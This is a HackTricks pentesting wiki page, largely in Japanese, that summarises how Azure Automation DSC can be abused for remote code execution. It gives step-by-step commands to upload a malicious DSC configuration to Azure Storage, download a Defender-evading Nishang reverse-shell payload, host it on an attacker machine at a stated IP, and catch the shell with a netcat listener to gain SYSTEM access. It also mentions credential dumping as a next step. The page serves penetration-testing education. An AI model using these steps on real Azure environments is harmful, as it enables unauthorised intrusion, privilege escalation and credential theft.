Az - State Configuration RCE

Support HackTricks

Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

Summary of Remote Server (C2) Infrastructure Preparation and Steps

Overview

このプロセスは、Windows Defenderを回避するように設計された修正されたNishang Invoke-PowerShellTcp.ps1ペイロード、RevPS.ps1をホストするためのリモートサーバーインフラストラクチャの設定を含みます。ペイロードは、IP 40.84.7.74のKali LinuxマシンからシンプルなPython HTTPサーバーを使用して提供されます。この操作は、いくつかのステップを通じて実行されます。

Step 1 — Create Files

  • Files Required: 必要なPowerShellスクリプトは2つです:

  1. reverse_shell_config.ps1: ペイロードを取得して実行するDesired State Configuration (DSC)ファイル。これはGitHubから入手可能です。

  2. push_reverse_shell_config.ps1: VMに構成を公開するためのスクリプトで、GitHubで入手できます。

  • Customization: これらのファイル内の変数とパラメータは、リソース名、ファイルパス、サーバー/ペイロード識別子を含むユーザーの特定の環境に合わせて調整する必要があります。

Step 2 — Zip Configuration File

  • reverse_shell_config.ps1は、Azure Storage Accountへの転送の準備が整うように.zipファイルに圧縮されます。

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip

Step 3 — ストレージコンテキストの設定とアップロード

  • ZIP形式の構成ファイルは、AzureのSet-AzStorageBlobContent cmdletを使用して、事前定義されたAzure Storageコンテナazure-pentestにアップロードされます。

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx

ステップ 4 — Kali ボックスの準備

  • Kali サーバーは、GitHub リポジトリから RevPS.ps1 ペイロードをダウンロードします。

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
  • スクリプトは、ターゲットのWindows VMとリバースシェルのポートを指定するように編集されます。

Step 5 — 設定ファイルを公開する

  • 設定ファイルが実行され、リバースシェルスクリプトがWindows VMの指定された場所にデプロイされます。

Step 6 — ペイロードをホストし、リスナーを設定する

  • ペイロードをホストするためにPythonのSimpleHTTPServerが起動され、受信接続をキャプチャするためのNetcatリスナーが設定されます。

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
  • スケジュールされたタスクがペイロードを実行し、SYSTEMレベルの特権を達成します。

結論

このプロセスの成功した実行は、資格情報のダンプや攻撃を複数のVMに拡大するなど、さらなるアクションの可能性を開きます。このガイドは、Azure Automation DSCの領域での継続的な学習と創造性を奨励しています。

Support HackTricks

Last updated